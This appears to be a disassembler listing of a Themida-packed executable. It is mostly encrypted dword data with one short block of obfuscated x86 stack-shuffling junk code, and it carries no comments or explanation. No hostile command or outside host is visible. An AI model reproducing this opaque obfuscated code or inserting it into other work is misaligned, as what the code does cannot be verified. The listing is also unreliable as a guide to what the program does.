		dd 0CE6F9FE3h, 55E4087Fh, 427A315Fh, 19860C3Dh,	55E4082Ah
		dd 8981A5A9h, 51D9305Fh, 50A2C914h, 8BA9228Ah, 3314h, 20223900h
		dd 80BDA76Dh, 47E01B61h, 49DC6CD7h, 97EC196Fh, 3A6663C5h
		dd 748488F8h, 0E4020A35h, 66DE855h, 0A91D26F4h,	0D8E9708Bh
		dd 0B79C6FA5h, 18000000h, 6366567h, 27574A79h, 852658h
		dd 0AA64A96Dh, 9CE31B3Fh, 42E3C16Ah, 0E9122840h, 0C27841C5h
		dd 1853F06Dh, 0F473B7E6h, 6A2320D2h, 0BAD2F652h, 0A6D5A342h
		dd 0DC88B579h, 6062F949h, 7BB91D2Dh, 7F070B0Fh,	44E11A6Eh
		dd 4FCAEE42h, 152481FCh, 0AE5FDB5Eh, 341868AAh,	9E737107h
		dd 7E4EA5D0h, 55740BB4h, 3C4BD458h
		dd 0C06CBE41h, 94046301h, 21786h, 0ABE6E600h, 0D6C7F867h
		dd 0FFBAD552h, 0E79EAC3Bh, 8858423h, 0E5AD8704h, 0F867ABE6h
		dd 0D14ED2CBh, 0A936FAB5h, 7520E497h, 759AA9F6h, 0FA1955E9h
		dd 0D7F48B36h, 888754DEh, 74961115h, 0A5C9C4C2h, 61809361h
		dd 3753E5E0h, 0A420587Ch, 3C2A8B80h, 0B549DC6Ch, 0C578B9D1h
		dd 2755E49Ch, 0D96665E4h, 5793BDA6h
dword_5DC380	dd 6A628641h, 304724EEh, 162582FDh, 0EA55E48Ah,	0E48AFE4Dh
					; DATA XREF: Themida_:00589647o
		dd 0BD117555h, 69B75BD9h, 0B58BA8A4h, 16CFBDBFh, 7685255Ch
		dd 0E4801A29h, 7FB59955h, 0D78Ch, 65672800h, 4A790636h
		dd 40862757h, 9A53F096h, 0B599C768h, 0EC2DB6BAh, 9D81A5E0h
		dd 81FC0E99h, 93F01189h, 0F0662712h, 0BA2ABC53h, 739B91D4h
		dd 7992B6DAh, 9DADE0E2h, 5DC8FB39h, 0D7F645E2h,	0F20D53F0h
		dd 69B6DAD7h, 0E4D1235Eh, 49DC322Ah, 0CBBB7FC3h, 1F9AB53Ah
		dd 6A8EFF00h, 9DB3D451h, 0C0444FCBh, 1895B4CBh,	17C8B14h
		dd 219B6FEh, 0CCDE4E63h, 108h, 60A4D7F7h, 53D7C6C7h, 38FCB9D4h
		dd 26EAA1AFh, 13178AB9h, 0EF1EA488h, 0D4F16EB2h, 0BECA55D9h
		dd 9EA03FC3h, 0F34E2BEFh, 0E97A87B2h, 0CDF71C55h, 0F1356867h
		dd 0AE20CA9Ah, 60994B0Bh, 3CF2E521h, 0F93BE8E2h, 3D7A2022h
		dd 53F0450Eh, 65668185h, 90B41028h, 9CAF087Bh, 1753F045h
		dd 0E331E133h, 6366567h, 0D0544779h, 102B51B0h,	49561A40h
		dd 6DCA160Ah, 53F0ADDEh, 47CDF155h, 82263B64h, 73EE49DAh
		dd 0EA8C0732h, 7AB89C55h, 6AF10A0Eh, 0AE2A225Fh, 94EB5864h
		dd 890D3D78h, 0FBB2D48Bh, 0BDFA55C0h, 55EA8C8Eh, 9380105h
		dd 8A55EA8Ch, 306B9986h, 0C276BC18h, 75932325h,	0B1C9C4C5h
		dd 0BD193155h, 0EC1B6299h, 0F73D99B1h, 165576B7h, 0E14EFC32h
		dd 0BDC8978Ah, 1AFB56D7h, 14780E92h, 5B6D22F0h,	4143DC20h
		dd 1F2D324Ah, 4F35464h,	0F1ACDEEDh, 1D90B22Dh, 0E2EF7EEDh
		dd 0FD3793ABh, 363h, 0A68C8900h, 4346767h, 3A52497Bh, 5E6E2925h
		dd 71890401h, 0AAA2DFEEh, 0C3FBB6D5h, 0E7178EBCh, 18306D98h
		dd 27574647h
		db 1Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		push	7A62h
		mov	[esp], edi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		push	edx
		mov	edx, 1F52317Ah
		mov	edi, 256C114Eh
		sub	edi, edx
		mov	edx, [esp]
		add	esp, 4
		push	esp
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		sub	dword ptr [esp], 41A40C5Dh
		pop	dword ptr [esi+8]
		add	dword ptr [esi+8], 41A40C5Dh
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		db 8, 7Ch, 0A2h
		dd 0D139C3C8h, 0BDB87EC2h, 30619E9h, 84E0FFC5h,	83020499h
		dd 3C6EA5C6h, 418E9DEh,	0C1028F69h, 86C8D04h, 0CE2041D4h
		dd 230E3F9Fh, 0E54C9FC0h, 0AB4C6427h, 8F0F0163h, 0DE3B29D5h
		dd 211BD958h, 5C17D532h, 0F6533EA0h, 0F293C3Bh,	4222D454h
		dd 0E7C5344h, 4F000BB1h, 62134BECh, 816C76A4h, 0D61DC39Eh
		dd 2F75B7CAh, 8B3D64D4h, 0EA8166C0h, 0BD83909Bh, 61410F1h
		dd 83097500h, 140E25BDh, 19740006h, 0C08B5350h,	3FCB8h
		dd 19858900h, 8D061418h, 16A7529Dh, 5BD3FF06h, 25BD8358h
		dd 6140Eh, 53501774h, 3FCB8h, 19858900h, 8D061418h, 16A4419Dh
		dd 5BD3FF06h, 7E858h, 0E9230000h, 7047C17Dh, 5AF2B7DCh
		dd 4C2F25BAh, 0FCC08B76h, 1CDBD83h, 0F010614h, 9684h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0C00B5218h, 0A7090291h, 0CE97665h, 0D7000000h, 7257B9DEh
		dd 0E172CDD3h, 6655BF63h, 2AA1D381h, 29BD83h, 0F000614h
		dd 4E85h, 13E900h, 0FDAE0000h, 0FF30B172h, 6E3956F0h, 51F13ADFh
		dd 95B44418h, 5A64BB57h, 0BD8330FCh, 6140CC9h, 0B6840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 2C87C357h, 1E74CF12h, 0E96DF473h
		dd 406h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 16h,	62C35343h, 0F28197B2h, 75F471D9h, 51EB8052h, 0FC5Ah
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 7F37F0C3h, 8B660720h, 51006AD0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0C6FB5D5Fh
		dd 89B6403Fh, 13860Fh, 0EE90000h, 34000000h, 233FDF19h
		dd 0B9E30D24h, 0EA078AE2h, 9913DAD5h, 4AA0B253h, 4A596AB0h
		dd 0CECC1A05h, 4BC715B6h, 1E2337DEh, 40A04AFEh,	294EFBBFh
		dd 0AA657BFh, 0A3FB68E2h, 0ABA2F1D3h, 3EA2CEFBh, 6FA675BFh
		dd 992579EAh, 0AB76A223h, 45021E4Ch, 2E7ABEAEh,	2ACCABBFh
		dd 2AA53DEAh, 7786EABFh, 462F287Ch, 6E27BE9Bh, 2ABF599Bh
		dd 7FE3AEBFh, 6201E17Ch, 7F2B85A0h, 2AA6D557h, 0C727B7BFh
		dd 2CBF9906h, 257631D9h, 2AA65C37h, 0EA2D5BBFh,	0C2F557D5h
		dd 2AA6ABBCh, 71658E9Fh, 2E82B636h, 2E82313Eh, 2AA6BAA4h
		dd 7F650EFCh, 47BD557Fh, 0BAC4225Ah, 2AA6A556h,	2EFF65BFh
		dd 0DD9FE33h, 6049E125h, 7ABF2C74h, 0BA7FD6D9h,	4C71453Fh
		dd 253DEE04h, 0D482E7BEh, 0C2F4D5D5h, 2AA6EABCh, 70652F9Fh
		dd 2E82EE36h, 2E82193Eh, 2AA6AEA9h, 696505FDh, 0F51D2163h
		dd 0C3AE9490h, 2AA6EAABh, 0EF4136h, 0B109A0AEh,	0CCCBDF68h
		dd 0D883C4FBh, 45A3BA07h, 79A6C1E7h, 2AA6D657h,	0E9FDCABFh
		dd 0EFAFCE4h, 0EE23BBBh, 2AA64BBBh, 0E9F5EDBFh,	4CAC6108h
		dd 1CF9483Eh, 2AA45AB0h, 0A311EABFh, 2AA479BAh,	78A6D0BFh
		dd 2AA65E57h, 0E9FC8EBFh, 0EF2DEE5h, 0EE22ABBh,	2AA6CFBBh
		dd 0E9F4A8BFh, 15B1E13Dh, 9164C314h, 1CEA5F27h,	2AA6A856h
		dd 0E217EDBFh, 0A1B10537h, 7CA6BFB7h, 2AA6E957h, 0E9F855BFh
		dd 0ED233E1h, 0EE2DCBBh, 2AA6B6BBh, 0E9F011BFh,	84B4472h
		dd 0F319DA7Fh, 2AA6E456h, 2CDE2BFh, 0E150BA4Bh,	5AE69B0Dh
		dd 4CBB9E40h, 405A1F34h, 294EFABFh, 0AA6D5BFh, 0A3FF29E6h
		dd 0ABA251F3h, 33A29EFBh, 6BA65DBFh, 5EBE6DEEh,	0D23C54DEh
		dd 282DA4DFh, 7BA6D5BFh, 0CD268BE5h, 2AB49CC7h,	77D5BABFh
		dd 55391598h, 79ECA27h,	767917C4h, 81900DEBh, 2AA6D407h
		dd 0A1C0BABFh, 0EAAFC65h, 0C37F36D9h, 2AA65DAEh, 32716F52h
		dd 311B07A5h, 10776A60h, 0B3C905CCh, 2E671C3Dh,	2A58F0B0h
		dd 95A9BABFh, 2ACC0469h, 2AA546EAh, 778657BFh, 462FF67Ch
		dd 6E27D19Bh, 2ABAEE9Bh, 7FE375BFh, 8975D7Ch, 0D04414E3h
		dd 0AA53B993h, 0AFA93F86h, 2AA6AA93h, 0C2F6D5D5h, 2AA6EABCh
		dd 72652D9Fh, 2E82FE36h, 2E82193Eh, 2AA6AEA7h, 156507FFh
		dd 0A730FE5h, 2BDF5E47h, 0C2F6EAD5h, 2AA675BCh,	7265E29Fh
		dd 2E821936h, 2E82EA3Eh, 2AA657A9h, 0F865FBFFh,	384FE564h
		dd 33A6EABFh, 218792B9h, 0F0EAC1D6h, 7891B05Dh,	8A620C1Fh
		dd 2AA8BF5Bh, 0CA09ABBFh, 9D1E997Eh, 7BAB38BBh,	13680BA3h
		dd 2AA336B0h, 0ABC05DBFh, 71F7D06Dh, 2AA6A83Eh,	0A8A92BBFh
		dd 2AA6D517h, 0C14C6F78h, 2AA773A6h, 0A0A9BABFh, 2AA65DA9h
		dd 2AA6BF56h, 4AF945BFh, 2383E071h, 2B71DDFh, 0C796095h
		dd 0A94FA596h, 0D3A6BABFh, 2AA62A56h, 2AB447BFh, 3A657BFh
		dd 0A3868A45h, 3F6208D8h, 72641929h, 59E08109h,	2E26B5E6h
		dd 4CA65DBFh, 4C2B5F04h, 0D5AD2E3Ch, 2AEC2FB0h,	2ACCD5BFh
		dd 2AA502EEh, 738675BFh, 662FE37Ch, 6E27599Bh, 2ABBAA9Bh
		dd 7BE757BFh, 5644A87Ch, 48FA5863h, 0D692A47Fh,	0ED77FED9h
		dd 334D503Ah, 2AA65CB9h, 2AA846BFh, 0AD8857BFh,	0EA86C943h
		dd 767E0AA3h, 0B834F260h, 0D6FC020Ch, 0AA7131F7h, 0DC1FB960h
		dd 0A7A7502Fh, 3357EA3Ah, 0C81B26B9h, 11A0CC50h, 1AA19E47h
		dd 6D6FA4B0h, 91C04F54h, 2ACC16B6h, 2AA546EDh, 708657BFh
		dd 7E2FF17Ch, 6E27D19Bh, 2ABFEE9Bh, 78E475BFh, 46183F7Ch
		dd 0A991B93Ch, 3EA76302h, 0AEA956B9h, 2AA6ABDFh, 2AB73CDFh
		dd 0CDAEABFh, 160A2D47h, 0A27C48A0h, 0DB596ACFh, 4BD5DBC3h
		dd 2A8FEA3Ch, 25A6ADABh, 2AA6EE3Ah, 7AA680BFh, 2AA67657h
		dd 0E9FE9ABFh, 0EE2D4E7h, 0EE22FBBh, 2AA640BBh,	0E9F6EBBFh
		dd 7636CE1Fh, 0ADA93A34h, 2AA675BBh, 0E7AD00D9h, 266FE03Ch
		dd 25A6A8ABh, 2AA65D3Bh, 7053FDBFh, 2AA62056h, 0A94F5DBFh
		dd 3EA7B802h, 0AFA9BBB9h, 2AA65D76h, 0C2F6AED5h, 2AA657BCh
		dd 7265F39Fh, 2E829136h, 2E82AE3Eh, 2AA675A3h, 6465EAFFh
		dd 8A99BB29h, 0B3EC3BB6h, 2AA65E57h, 0C37D5ABFh, 8B86DC5Ah
		dd 2C4EA5E7h, 0D7A675BFh, 197BDEE4h, 0D8273B3Bh, 70FD59AFh
		dd 7DA63DE2h, 2AA6A857h, 0E9F9F5BFh, 0EDA63E0h,	0EE2F4BBh
		dd 2AA6A1BBh, 0E9F11ABFh, 47F99BA4h, 65BF935Eh,	2AA72FB0h
		dd 0C25ED5BFh, 2AA6EAADh, 535A61E4h, 2D4A8282h,	760127D3h
		dd 0A32435A3h, 0CE1CC3CEh, 70D98183h, 0F14C547Ch, 0C3EB11ADh
		dd 2AA675F1h, 0C2F4BAD5h, 2AA65DBCh, 7065F49Fh,	2E820336h
		dd 2E82EF3Eh, 2AA6D5A9h, 8165B8FDh, 244FD4A5h, 1DA6BABFh
		dd 0FAC2ED71h, 0D438B549h, 875C3A11h, 0E926F658h, 0ABC01AF3h
		dd 0C2A48064h, 2AA675B6h, 60E9B4Dh, 0CDF59662h,	991DC8DBh
		dd 972B0DAEh, 2CBF47F2h, 0DB2C5832h, 371EECA6h,	19DD4FE3h
		dd 3EB1733Ah, 0EB6976B9h, 2FDC1F56h, 3AA7A750h,	0B93357EAh
		dd 50C81B26h, 4711A0CCh, 0B01AA19Eh, 0E9836FA4h, 83A4F305h
		dd 19EBEABDh, 0D740006h, 4DFF8D8Dh, 1B80614h, 0FF000000h
		dd 8B6640E1h, 51006AD9h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 5BFC57AFh, 0BB2DE883h, 323C4BE7h
		dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0C13124C3h, 5E4AC833h, 0A6A0BA60h, 0BD8351DCh
		dd 61410F1h, 83097500h,	140E25BDh, 19740006h, 0C08B5350h
		dd 3FCB8h, 0F1858900h, 8D061424h, 16A7B99Dh, 5BD3FF06h
		dd 25BD8358h, 6140Eh
		dd 53501774h, 3FCB8h, 0F1858900h, 8D061424h, 16A45A9Dh
		dd 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 419F8AEAh, 0E84F37C0h, 0Ch, 321EA544h
		dd 8C8310Dh, 0F3E33F9Fh, 0D25CBB51h, 5A5B1EC4h,	0A2E9C08Bh
		dd 0A2000000h, 940320FCh, 5000000h, 1000000h, 28000000h
		dd 200000Ah, 53000000h,	69767265h, 50206563h, 206B6361h
		dd 32h,	1Eh dup(0)
		dd 0C6FE900h, 0CB680000h, 0E90619F4h, 0FFFA8D90h, 19F60668h
		dd 8D86E906h, 68FFFAh, 0E90619F7h, 0FFFA8D7Ch, 19F77468h
		dd 8D72E906h, 0F568FFFAh, 0E90619F8h, 0FFFA8D68h, 19F97868h
		dd 8D5EE906h, 1768FFFAh, 0E90619FDh, 0FFFA8D54h, 19FE1868h
		dd 8D4AE906h, 0D1F1FFFAh, 0BCCD5ADEh, 0A7A23DC1h, 8BB926EAh
		dd 74930C10h, 4276F539h, 54D8D5F4h, 43C7BECBh, 29EDA8A4h
		dd 0D118CBEh, 0AD9C1960h, 2655E961h, 65672BEDh,	0DF950636h
		dd 2FC30E62h, 7724EEEEh, 0A9E22655h, 0C89063DBh, 0AE648283h
		dd 8A81F716h, 0DCCE612Dh, 76868A49h, 0B2D3AA05h, 2C47F2FBh
		dd 78DC55E4h, 2C043BBAh, 0BBE655E4h, 0F311A3A4h, 0F19E94B8h
		dd 5514879Ah, 0CD7C7D38h, 4655E42Ch, 82A830C2h,	1C8BA946h
		dd 40h,	1B618098h, 6CD747E0h, 242849DCh, 0D9D1A714h, 0FDE06AB6h
		dd 0A0DDEE39h, 40DC6352h, 0CEFC55E4h, 0A6D8A7D7h, 0E211C7F7h
		dd 2417908Bh, 0BF55E440h, 0ABAAB7DBh, 5EE83644h, 0BDF68BA9h
		dd 22000000h, 6366567h,	27574A79h, 47772658h, 93970638h
		dd 0F097F6CAh, 0C7B6C853h, 0EBA2A443h, 0EE9A6BD3h, 7EF650DDh
		dd 0F00F49DCh, 6E2925CFh, 0B2D6324Ah, 81F7166Eh, 0D6C02D8Ah
		dd 0E76B4FCBh, 29A99CD4h, 54D70300h, 6F9EEDDEh,	0A0C4B7C9h
		dd 4CFF38ABh, 0C75FDA3Bh, 8A01B143h, 58DAD1F3h,	6098483h
		dd 6302923Ah, 2C4052CAh, 0AC00000Ah, 821DE19Ch,	9F080C81h
		dd 6AF53974h, 42DD215Ch, 41CA4E43h, 0F5A8A76Fh,	1C99B631h
		dd 8838F18h, 32699B04h,	0FF3883EEh, 55E9664Ch, 8B088CC7h
		dd 0DD28D3F4h, 830C74BAh, 55B1C9EDh, 8C0100DFh,	4CED1F88h
		dd 7339BC12h, 671A297Fh, 19DB5F43h, 0E01B6180h,	0DC6CD747h
		dd 0F2332849h, 55E49C47h, 15255877h, 5579DDB1h,	9CB98425h
		dd 6D9955E4h, 0CA91A32h, 55E49C3Dh, 3355D2B6h, 68C74078h
		dd 212C3901h, 0BBE457CAh, 55E49C88h, 6D0D070Bh,	8BA89ABFh
		dd 0DADFh, 0F21D6C00h, 0F10387B7h, 2165670Fh, 4575285Ah
		dd 9249F8C1h, 666153F0h, 0C3B7132Bh, 5C235B7Fh,	0D958702Dh
		dd 53F097E3h, 0B9D2C9FBh, 0E752D34Eh, 7C53F096h, 9662D118h
		dd 66E153F0h, 0F052964h, 0F3AADC4Bh, 0D8263DBh,	25149101h
		dd 0BE53F096h, 1885B6DAh, 53F09629h, 8982A6AAh,	0DC7E0A2Ch
		dd 5BDFA349h, 9DAEDA2Bh, 0CBEBEE10h, 0E618674Fh, 0E17893B7h
		dd 0CC7FB8E2h, 475FDA52h, 6B2224C3h, 0B8D3F753h, 5251E04Dh
		dd 95D25FDAh, 8A0E3E79h, 7BE4AC66h, 0CCE514Ch, 0E463027Bh
		dd 8F1A674h, 61610000h,	4C7DEA2Eh, 3752CD51h, 1B29B67Ah
		dd 4039C60h, 0D2068589h, 0E4286564h, 0D3574E7Bh, 0B97D3854h
		dd 9D611C2Eh, 1D2C89F0h, 9655E964h, 6867BB7Dh, 5476F135h
		dd 671FD559h, 79063665h, 51275447h, 4C4087E3h, 0A10315E9h
		dd 91C00A00h, 275F1B19h, 1C99B2C6h, 49DA3B8Ch, 108DBAC5h
		dd 1D6CDFECh, 0A17EB4EFh, 6128EC9Fh, 55EA3E42h,	0BBD758ADh
		dd 0B658DCC0h, 0D657C2FFh, 55EA3C7Bh, 269E94F8h, 1D9AB1C7h
		dd 4FC6C5E9h, 9EED1E62h, 80043471h, 0C8B2F372h,	0DCB872Ch
		dd 5A5173FCh, 4A980536h, 8BD62BE1h, 9C197487h, 0F5FB49ADh
		dd 59E83526h, 0DAF5FB49h, 0E4C05276h, 0C06FE177h, 11F548C4h
		dd 11E4B41Fh, 0C84AD42Bh, 546715F4h, 0D43972CBh, 6299FDEFh
		dd 6EB2E91Bh, 3605A21Dh, 4DFFD209h, 72944BC9h, 8A1FA9C9h
		dd 2044E7E7h, 0AFD27DFh, 8B99F1C3h, 7F7h, 0F0346767h, 0E3275677h
		dd 0C84C4944h, 0B67A315Fh, 0A3671A29h, 7F8E3418h, 6461FE02h
		dd 4E7AE529h, 2E50CF53h, 63DEBB7Fh, 0E96577C2h,	5D478C55h
		dd 0DED7F48Bh, 0EC816054h, 92053471h, 0BA9E53F0h, 0F09280B3h
		dd 0E697A853h, 718AAE92h, 0DA81A434h, 22593D49h, 0AF732A5Bh
		dd 247E84DCh, 9B10406Dh, 0CCC1C299h, 0EAA1A3BCh, 13C17725h
		dd 83910969h, 783h, 74B8F313h, 5FA3DAEBh, 44C8C5C0h, 32F6ADDBh
		dd 171B96B5h, 0F312A094h, 0E0ED7ABEh, 0CAC661A5h, 0AADC4BCFh
		dd 0FF422FF3h, 0E96583BEh, 0C9F30055h, 0A30C6180h, 53F09290h
		dd 0F00B2F13h, 0DA8125B7h, 6462F949h, 7FB51129h, 24CFFC0Bh
		dd 2E5E486Bh, 54D3F7F3h, 27547835h, 0EE26BCB4h,	0DB728095h
		dd 0D808259h, 2E5D6FFEh, 5F2CE4h, 17738B02h, 305CA91Dh
		dd 0BAB39A1Bh, 543855E9h, 722B5827h, 191B96B5h,	0BA320CADh
		dd 0F21055E9h, 0CDFC83BBh, 56661D2Bh, 8ABECEF2h, 0E9E7264Dh
		dd 1A3E9AB2h, 7C8DDCCFh, 0A9E4E601h, 6D6D846Bh,	8BADB0BFh
		dd 0A0F6491Fh, 5281F243h, 0DF557934h, 2F2Ch, 65808800h
		dd 3994EC1Fh, 0B227907Dh, 0A401A270h, 53F07B91h, 9716262Ah
		dd 53F07BA8h, 16648B4Ah, 859571C8h, 7D6h, 0EE2AC200h, 40000001h
		dd 21D8FD8Bh, 8EACD771h, 0DF09AE84h, 33417A0Eh,	0FAAB9002h
		dd 470653F7h, 46B443D5h, 89169163h, 49DC7A7Dh, 0C8BB92F6h
		dd 0B3BE00B8h, 80A4AD07h, 0E047D941h, 1590BC1Dh, 51B223F1h
		dd 0A6245F04h, 4AF92647h, 0C9E64FE4h, 5AE93645h, 0D9E64FE4h
		dd 0FD3A5175h, 0FC6339ADh, 32AAA2A6h, 3B96A5D3h, 536B2224h
		dd 8BB03DF7h, 4F20CB9h,	52740B00h, 7350205Bh, 0AD82D6ACh
		dd 0FDEEAD43h, 3FD5684Bh, 0A0A23DF5h, 4E862AEDh, 0CE3EAD41h
		dd 602FCh, 3F729200h, 225B6CFBh, 4B4641DEh, 732A58C7h
		dd 9C1130AFh, 89391398h, 6403077Ah, 7DEA2E67h, 55D25651h
		dd 0D9B47833h, 6A76C562h, 468D55E9h, 36656742h,	4F4A4605h
		dd 0D063CC3Fh, 5353F092h, 2E5CCBEFh, 9201BD77h,	59C6BDCBh
		dd 7BF7528h, 0E27992E6h, 3A9EAEE3h, 45CCFF8h, 0ED1C26B6h
		dd 0EA3C98B0h, 0B5D4F3FEh, 2044C0F8h, 8EABE3D2h, 0C04449DCh
		dd 0EAA1A33Ch, 191F8B25h, 97A51569h, 57Fh, 78BCEF1Fh, 6BAFDEEFh
		dd 50D4D1FCh, 3EC2B9D7h, 2BEFA2A1h, 7068CA0h, 0EC19868Ah
		dd 0D6F26DB1h, 0B6C857DBh, 0EB5643C7h, 0E96BFF4Ah, 0D5DF7455h
		dd 6366567h, 24544779h,	1F2E45F2h, 4C4745EDh, 70B4D83Ch
		dd 948916C4h, 0A1106085h, 68080089h, 4938CB49h,	4D000000h
		dd 472F6E37h, 0A37179B2h, 0D3F48BB9h, 0F926A2DAh, 6B43D1CCh
		dd 50DDEE9Ah, 49DC96A2h, 0DC6FC8A3h, 5755E496h,	0A4BCCFF3h
		dd 6AEB38C0h, 4363B13Fh, 0E47A5BE2h, 375EB955h,	0A974F53Bh
		dd 93A418Bh, 3AED9E94h,	0CB000000h, 0E01B6180h,	0DC2CF947h
		dd 0DAF57249h, 0F980BBDFh, 0A7A6D5C8h, 7EDAF2A9h, 0F08FFCB4h
		dd 26A2DAD3h, 0DC5DE1ECh, 4B7D55E4h, 3253CC50h,	0A39407Bh
		dd 13219D97h, 4A7h, 1B618099h, 7D4747E0h, 0D4B849DCh, 0F2A9DBA4h
		dd 98482D9h, 26636EF1h,	0ABB4F002h, 8BD4E49Fh, 91F50580h
		dd 0D3D7896h, 44D73E59h, 0E48D68DBh, 4367EB55h,	46D9309Fh
		dd 80920907h, 3854DD2Ch, 0B2C94D7Dh, 0E48DC675h, 0D5F95D55h
		dd 627979A6h, 96FA4FC8h, 0B8F31592h, 83C91880h,	434E1D88h
		dd 40D23646h, 0F444A155h, 0A6D6BA45h, 809BF221h, 0B622CBF9h
		dd 0DD3515C6h, 1DB24064h, 463D4BEBh, 6AAED236h,	0DAACB1Ah
		dd 41CC613Eh, 9EADD1B5h, 74315C23h, 997B3FBEh, 0BDCB5BE0h
		dd 0EB16F6A5h, 0E1EF388Dh, 0FC3692AAh, 55507B84h, 4746A125h
		dd 0B2D6324Ah, 3AC3C59Ah, 0BBE490AAh, 4BA05D88h, 7211070Bh
		dd 8981A5A3h, 6CC9DBF6h, 4BA01EDDh, 0BECEF256h,	0DFEFA2A1h
		dd 3D056CABh, 52D43B1Ah, 5BB6C5B3h, 728A0304h, 0D5911C16h
		dd 2E518CE6h
		dd 0D695E62Ah, 48CCFCB9h, 0B8F315CAh, 2FD0FF80h, 0C2CE516Eh
		dd 0A5D551C7h, 3450688Ch, 0F315345Bh, 0FD0C74B8h, 47337C8Fh
		dd 0D857B8F1h, 7FFB848Fh, 0A33CDCA6h, 95A5C9EDh, 0B5C5B8CAh
		dd 9A8CE352h, 0A10E3D4Bh, 6DA4B0D5h, 81B0FD6Eh,	2797C70h
		dd 65161A3Eh, 5CB277EFh, 96B22890h, 4367E31Bh, 0A2E81AB1h
		dd 7C933605h, 0A8E5E679h, 0FC403490h, 0ADDFA0D8h, 0D552CDFEh
		dd 797C9366h, 0D1A06BFDh, 84405535h, 9EE69260h,	9702394Fh
		dd 7C8B3B16h, 5ED4B879h, 7A0EC06Dh, 63E76350h, 0B873CA6Bh
		dd 76916350h, 0B30DD31Fh, 52A9B634h, 7000000h, 6FE96180h
		dd 5B98440Eh, 812E5D41h, 49DC1C91h, 0F9B4D695h,	0BBCF45C1h
		dd 0EDD467C0h, 8F2855E4h
		db 0BCh, 0EDh, 0E4h
byte_5DD7AF	db 55h			; DATA XREF: Themida_:0057DBA1o
		dd 1B7F5337h, 0E766C7F7h, 0C755E4EDh, 0D8A7D7C6h, 8B46E7ADh
		dd 855E4EDh, 0ACE8E004h, 7B66ACC3h, 0B765759Ch,	0C78BA90Bh
		dd 129h, 366567EDh, 404A7906h, 0F09254E7h, 476BEF53h, 9C162837h
		dd 0BF1B336Ah, 9210238Ch, 0AF9353F0h, 7900738Bh, 0DC38504Bh
		dd 0EF87B956h, 3793ABE2h, 0E47C0F13h, 297A8B4h,	0C2B34156h
		dd 53F0E8FEh, 604AED0h,	0F71B7F8Fh, 0E092B433h,	3490A8E5h
		dd 0CF445CE2h, 0EC109E41h, 0C8180DFh, 2A9A98FCh, 0B2DE53B2h
		dd 8880FD0Ch, 0B7C4E80Ch, 0DA68DB44h, 67EB53F0h, 0DA78CB54h
		dd 97FB53F0h, 0C985229Dh, 6549DC3Fh, 9A63C9EFh,	3DD06FE5h
		dd 9230E62Eh, 2624C399h, 39FB5F6Fh, 3E3645C9h, 78C8EDDDh
		dd 2FEB29A0h, 0F544E15Ch, 0A555E4CCh, 78DCECA7h, 0BAF20004h
		dd 812E5D2Bh, 4FCB9405h, 9AE11A7Eh, 0C0BBCD6Bh,	0E4284CC8h
		dd 0CE514C7Bh, 6302353Eh, 0E0F4C636h, 70000001h, 4ED95D50h
		dd 23BC403Dh, 3EA96D28h, 16919510h, 0F576BAF7h,	595473C3h
		dd 403D4AD5h, 6C2723BCh, 9E0D3FA8h, 238CFF9Ah, 55E96F10h
		dd 67BC6093h, 76F13568h, 0EA6AAB54h, 96EFC7C3h,	62DDAE72h
		dd 549BB6F7h, 341853F0h, 0F0540635h, 7BB99D53h,	1B6180F1h
		dd 6CD747E0h, 242849DCh, 9CAA9514h, 514855E4h, 9C8AB9E6h
		dd 50955E4h, 89D63C13h,	0F43EBCE7h, 2CF20017h, 8A8BA8DFh
		dd 6E46CFFAh, 0FD091CA5h, 0EB949E82h, 0ADh, 366567C1h
		dd 0B7D69506h, 8FBDC2FAh, 7C60E414h, 0B7EA19B6h, 97A22687h
		dd 8ABC53F0h, 6E900F13h, 0CD9C0F3Fh, 51B5C5C0h,	6E1AEBC3h
		dd 731ED05Dh, 73D749DCh, 4236D7AFh, 0DE8BEC49h,	0D8BC4FCBh
		dd 7C2030A3h, 0FD985775h, 0F716C54Fh, 284C3F41h, 252497E4h
		dd 0D2616823h, 515FDA46h, 0D004F31Fh, 0E327661h, 45385704h
		dd 2933CC2h, 0C6D44463h, 0DFh, 0D85C4F7Fh, 0CB4F3E4Fh
		dd 0B074315Ch, 9E621937h, 8B8F0201h, 67662C00h,	4C79E62Ah
		dd 3652CD51h, 1628B77Bh, 8BF6A367h, 0E96C1F2Ah,	0B57F9455h
		dd 0F1356867h, 0D5595476h, 3665671Fh, 0B54B4605h, 0C0F81C97h
		dd 61FECE44h, 491F2C5Fh, 0E7490AE8h, 48434500h,	62B0D430h
		dd 493FCEB6h, 0D7EBF532h, 0B6049DAh, 0EADA9FAAh, 0C301455h
		dd 2A6163FCh, 544779E6h, 0D71E8524h, 6AC54E21h,	39C2C403h
		dd 0D2FFDDDDh, 1EF145DBh, 0E78084A8h, 0B7404DE5h, 50519B64h
		dd 0FB1F0385h, 0B8E550C3h, 58A52E89h, 0A8F5060Ah, 58A52E99h
		dd 2FFC361Ah, 0F5526A21h, 0AED0EF06h, 0ACD30F0Dh, 0CDF12828h
		dd 57E243BEh, 0EC58A5C3h, 71EEAA68h, 0BF2C5C4Fh, 0DEEE9FA0h
